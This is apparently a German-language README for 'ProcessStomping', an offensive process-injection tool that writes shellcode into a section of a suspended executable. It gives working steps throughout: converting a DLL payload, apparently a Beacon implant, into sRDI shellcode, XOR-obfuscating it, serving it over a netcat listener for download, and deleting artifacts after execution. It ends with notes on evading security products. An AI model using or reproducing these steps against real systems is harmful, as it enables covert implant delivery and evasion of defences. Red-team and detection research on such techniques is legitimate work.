
Eine Variation von ProcessOverwriting, um Shellcode auf einem Abschnitt einer ausführbaren Datei auszuführen.
A variation of ProcessOverwriting to execute shellcode on an executable's section
Für eine detailliertere Erklärung kannst du meinen Blogbeitrag lesen.
Process Stomping ist eine Variation von hasherezade's Process Overwriting und hat den Vorteil, dass ein Shellcode-Payload auf einen gezielten Abschnitt geschrieben wird, anstatt einen gesamten PE-Payload über den Adressraum des Hosting-Prozesses zu schreiben.
Dies sind die Hauptschritte der ProcessStomping-Technik:
Als Beispielanwendung der Technik kann der PoC mit sRDI verwendet werden, um eine Beacon-DLL über einen ausführbaren RWX-Abschnitt zu laden. Das folgende Bild beschreibt die beteiligten Schritte.

Alle Informationen und Inhalte werden ausschließlich zu Bildungszwecken bereitgestellt. Befolgen Sie die Anweisungen auf eigenes Risiko. Weder der Autor noch sein Arbeitgeber haften für direkte oder indirekte Schäden oder Verluste, die aus Personen oder Organisationen entstehen.
Diese Arbeit wurde durch das Wissen und die Werkzeuge ermöglicht, die von Aleksandra Doniec @hasherezade und Nick Landers geteilt wurden.
Wählen Sie Ihren Zielprozess und passen Sie die globalen Variablen entsprechend in ProcessStomping.cpp an.
Kompilieren Sie das sRDI-Projekt und stellen Sie sicher, dass der Offset ausreicht, um über Ihren generierten sRDI-Shellcode-Blob zu springen, und aktualisieren Sie dann die sRDI-Tools:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Generieren Sie ein Reflective-Loaderless-DLL-Payload Ihrer Wahl und generieren Sie dann einen sRDI-Shellcode-Blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
Der Shellcode-Blob kann dann mit einem Schlüsselwort ge-xored und über einen einfachen Socket heruntergeladen werden:
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Ausliefern des ge-xored Blobs bei Verbindung:
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
Der sRDI-Blob wird nach der Ausführung gelöscht, um unnötige Artefakte zu entfernen.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Um diese Technik erfolgreich auszuführen, sollten Sie den richtigen Zielprozess auswählen und ein DLL-Payload verwenden, das keinen benutzerdefinierten Reflective Loader enthält.
Die Process Stomping-Technik erfordert das Starten des Zielprozesses in einem angehaltenen Zustand, das Ändern des Einstiegspunkts des Threads und anschließend das Fortsetzen des Threads, um den injizierten Shellcode auszuführen. Dies sind Operationen, die als verdächtig angesehen werden könnten, wenn sie in schneller Folge ausgeführt werden, und könnten zu einer verstärkten Überprüfung durch einige Sicherheitslösungen führen.